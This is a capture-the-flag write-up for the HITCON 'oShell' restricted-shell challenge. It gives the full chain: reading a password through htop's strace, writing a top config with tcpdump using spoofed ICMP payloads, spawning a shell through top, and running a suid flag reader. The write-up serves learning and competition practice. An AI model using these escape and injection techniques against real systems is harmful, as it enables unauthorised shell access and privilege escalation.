# oShell_Category: ?_
## Description> Simple shell escaping!> (Same team-token keeps in the same environment)>> `ssh [email protected]` (pwd=oshell)>> Author: Orange
## Short SolutionConnecting to the server gives users a restricted shell. This shell can execute `htop` and `enable`. By using `htop` to run `strace` on the `enable` process, it is possible to see the secret enable password, granting access to more commands.
The elevated command shell enables the extra command `tcpdump`. This can be used to write semi-arbitrary data (encapsulated packet payloads) contents to an arbitrary file, in this case, the configuration file for the `top` utility:```shtcpdump -w /home/oShell/.toprc -s 500 icmp```
Running `ping` from the environment allows us to solicit ICMP echo responses, in which we control the payload section of the packet. We can embed valid `top` configuration syntax in these responses (note that `top` will only parse this is the components are separated by literal tab characters), and `tcpdump` will write them to a file for us:```shpipe	x	sh 1>&0```
Once this has been written to `.toprc`, we can run `top` and press <kbd>shift</kbd> + <kbd>y</kbd>, <kbd>x</kbd>, and <kbd>return</kbd> to cause top to launch `sh` for us.
Lastly, we can run `/readflag`, a suid root binary which outputs the flag.
## Long Solution### Initial ReconWhen connecting to the server we need to specify a "team-token", which grants us access to a segregated container. This will come in handy later.```sh$ ssh [email protected][email protected]'s password:Team token: [redacted][*] Initializing instance...
Welcome to        __  _            _  _  ___  / _\| |__    ___ | || | / _ \ \ \ | '_ \  / _ \| || || (_) |_\ \| | | ||  __/| || | \___/ \__/|_| |_| \___||_||_|
shell~$ ```
This command shell looks like it's fairly restricted, and doesn't seem to be based on any existing shell. We are able to get a list of commands we can run using `help`:```shoshell~$ helpAvailable commands:  help  exit  id  ping  ping6  traceroute  traceroute6  arp  netstat  top  htop  enable```
We can also see that most of these binaries are just applets compiled in to BusyBox:```shoshell~$ ping --helpBusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.[...]```
At this stage, we can get some hints from the wonderfully useful [GTFOBins](https://gtfobins.github.io/) project. This helps us figure out which of the commands available to us can be used for breaking out of the restricted shell.
The container stops running after 300 seconds at which the shell disconnects and the container is rebuilt.
### Elevated ShellWith the binaries we have access to there is no direct way to break out of the restricted shell. Instead, we can focus on elevating our shell using the `enable` command. This command asks for a password:```shoshell~$ enablePassword:Wrong password :(```
We can use the `strace` functionality of `htop` to analyze the process and determine what it is doing. When we run the `enable` command, we don't see an entry in `htop`:```sh  PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command   11 oShell     20   0  3512  1120   868 R  0.0  0.0  0:00.04 htop    1 root       20   0  1492     4     0 S  0.0  0.0  0:00.26 sleep 300    6 oShell     20   0 34516  5492  2040 S  0.0  0.0  0:00.35 python /oShell.py```
This tells us that the `enable` command is part of the `oShell.py` script, rather than an external binary.
Now we know what process it is, we can run `strace` using `htop` in one window, while running `enable` in the other. To have `htop` run `strace` for us we just need to press <kbd>s</kbd> while the Python process is selected:```{st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0ioctl(3, TIOCGWINSZ, {ws_row=0, ws_col=0, ws_xpixel=0, ws_ypixel=0}) = 0ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) =writev(3, [{iov_base="Password: ", iov_len=10}, {iov_base=NULL, iov_len=0}], 2)readv(3, [{iov_base="", iov_len=0}, {iov_base="test\n", iov_len=1024}], 2) = 5ioctl(3, TCGETS, {B38400 opost isig icanon -echo ...}) = 0ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) =writev(3, [{iov_base="", iov_len=0}, {iov_base="\n", iov_len=1}], 2) = 1close(3)                                = 0open("/enable.secret", O_RDONLY)        = 3fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0lseek(3, 0, SEEK_CUR)                   = 0lseek(3, 0, SEEK_CUR)                   = 0readv(3, [{iov_base="this-is-secret-7ce3ff0e2c8fd2a7", iov_len=31}, {iov_base=""readv(3, [{iov_base="", iov_len=0}, {iov_base="", iov_len=1024}], 2) = 0close(3)                                = 0select(0, NULL, NULL, NULL, {tv_sec=1, tv_usec=0}) = 0 (Timeout)writev(1, [{iov_base="Wrong password :(", iov_len=17}, {iov_base="\n", iov_len=1```
The relevant lines from this show us that it opens `/enable.secret`, then reads the contents of the file. In this case, the enable password is revealed to be `this-is-secret-7ce3ff0e2c8fd2a7`. This will change every time the container rebuilds, but is relatively quick to find even manually each time.
Now we can execute `enable` and get an "elevated" shell:```shoshell~$ enablePassword:(enabled) oshell~# ```
### Break Out Part 1 - Journey to File WriteNow we have our elevated shell, we can see we get some extra commands available to us:```sh(enabled) oshell~# helpAvailable commands:  help  exit  id  ping  ping6  traceroute  traceroute6  arp  netstat  top  htop  ifconfig  tcpdump  enable```
The most interesting of these is `tcpdump`. This allows us to write a `pcap` file to an arbitrary location on disk using the `-w` flag consisting of packets received from the network. Unfortunately, the contents of this file cannot be directly controlled as it encapsulates each packet with a pcap header in the file. Fortunately, many Linux utilities are lenient in their parsing of configuration files and so it is likely we can inject arbitrary configuration lines that `top` will parse.
One of the simpliest ways to cause a packet to be recieved by `tcpdump` is the `ping` command. On most ping implementations a pattern (`-p`) argument can be used to supply the ping packet payload content. The version of `ping` available in the environment is from `busybox`, which only allows a single repeating byte to be specified as a payload:```sh$ ping --helpBusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.```
We got stuck here for a while thinking about ways to get a packet onto the system. Our thoughts included:* Abusing the SSH connection used to access the environment to set up a tunnel* Traceroute ICMP responses with* Returning DNS PTR or A records with encoded payloads
Eventually we realised that while the system itself doesn't allow us to send it incoming packets due to it being a container without a dedicated IP, it does receive responses to `ping` Echo requests sent out to the Internet. This gives us a chance to specify a custom payload in an Echo response, which will be dutifully stored by `tcpdump`. To help us test this we used a script one of our team members had prepared earlier, called [TLS Hello Modify](https://github.com/fincham/nfqueue-break-tls-handshake/blob/master/tls_hello_modify.py).
We modified this script to capture ICMP packets leaving a machine and overwrite the payload field of those packets:```pypayload = "payload goes here"parsed[ICMP].load = parsed[ICMP].load[0:len(parsed[ICMP].load) - len(payload)] + payload```
Initially we tried just replacing the entire payload, but this resulted in the packets not being recieved by the server. As it wasn't clear at what point on the network path these modified packets were being discarded, we didn't investigate further, instead trying a few different ways of replacing or modifying the ICMP payload until we managed to get a packet that got through all the firewalls between our server and the CTF server. In English, the end of the original ICMP content is replaced with our payload.
Putting this all together, we are able to run our `tcpdump` command and write our payload to a path we specify. Now we just need a payload and path for it.
### Break Out Part 2 - Shell CityNow we can concerntrate on getting a shell. One option is to use the `post-rotate` command feature in `tcpdump`, but we investigated this and found the use of `top` would be simpler due to it executing our process already attached to our TTY.
The `top` command will read configuration from `~/.toprc`. This allows us to specify arbitrary commands for `top` to execute through the "Inspect" function. This is discussed in the [top GTFOBins page](https://gtfobins.github.io/gtfobins/top/).
To begin, we need the full, expanded path to the `.toprc` file, which we can get by launching `top` and pressing <kbd>w</kbd>:``` Wrote configuration to '/home/oShell//.toprc'```
The payload we decided on was:```
pipe	x	sh 1>&0
```
This will simply execute a shell after we choose the `x` inspection option in `top`. It's important to note:
* The tab characters before and after `x` are required and cannot be spaces.* The newlines before and after the payload are also required so that it doesn't have extra bytes around it.
### Break Out Part 3 - All together nowPutting this together, we can run our ICMP modification script on a server we control. We can run `tcpdump -w /home/oShell/.toprc -s 500 icmp` to capture ICMP packets and write them to our `.toprc` file. Lastly, we can run `ping [our-server-ip] -c 1` to send a packet and wait for the response.
This writes a strange, but still valid, file that `top` can interpret as a configuration. Now we open `top`, press <kbd>shift</kbd> + <kbd>y</kbd> to inspect a process, <kbd>return</kbd> to select the default PID, then select <kbd>x</kbd> (the name of the command we used in our payload), and press <kbd>return</kbd> a final time. We now have an interactive shell!
The formatting isn't great, but we can type `ls` to see the directory output in `/`:```sh/ $ ls -lahtotal 908drwxr-xr-x    1 root     root        4.0K Nov 28 04:21 .drwxr-xr-x    1 root     root        4.0K Nov 28 04:21 ..-rwxr-xr-x    1 root     root           0 Nov 28 04:21 .dockerenvdrwxr-xr-x    1 root     root        4.0K Nov 27 19:58 bindrwxr-xr-x    5 root     root         340 Nov 28 04:21 dev-r--r--r--    1 1002     1002          31 Nov 28 04:21 enable.secretdrwxr-xr-x    1 root     root        4.0K Nov 28 04:21 etc-r--------    1 root     root          35 Nov 26 10:44 flagdrwxr-xr-x    1 root     root        4.0K Nov 27 19:58 homedrwxr-xr-x    1 root     root        4.0K Nov 27 19:58 libdrwxr-xr-x    5 root     root        4.0K Mar  6  2019 mediadrwxr-xr-x    2 root     root        4.0K Mar  6  2019 mnt-rwxrwxr--    1 root     root        3.8K Nov 25 10:23 oShell.pydr-xr-xr-x 1004 root     root           0 Nov 28 04:21 proc-rwsr-sr-x    1 root     root      825.4K Nov 19 10:54 readflagdrwx------    2 root     root        4.0K Mar  6  2019 rootdrwxr-xr-x    2 root     root        4.0K Mar  6  2019 rundrwxr-xr-x    1 root     root        4.0K Nov 27 19:58 sbindrwxr-xr-x    3 root     root        4.0K Nov 27 19:58 sharedrwxr-xr-x    2 root     root        4.0K Mar  6  2019 srvdr-xr-xr-x   13 root     root           0 Nov 28 04:21 sysdrwxrwxrwt    2 root     root        4.0K Mar  6  2019 tmpdrwxr-xr-x    1 root     root        4.0K Nov 27 19:58 usrdrwxr-xr-x    1 root     root        4.0K Mar  6  2019 var```
From here, we can see a SUID `/readflag` which we can execute. This gives us the flag!```sh/ $ ./readflagHITCON{A! AAAAAAAAAAAA! SHAR~K!!!}```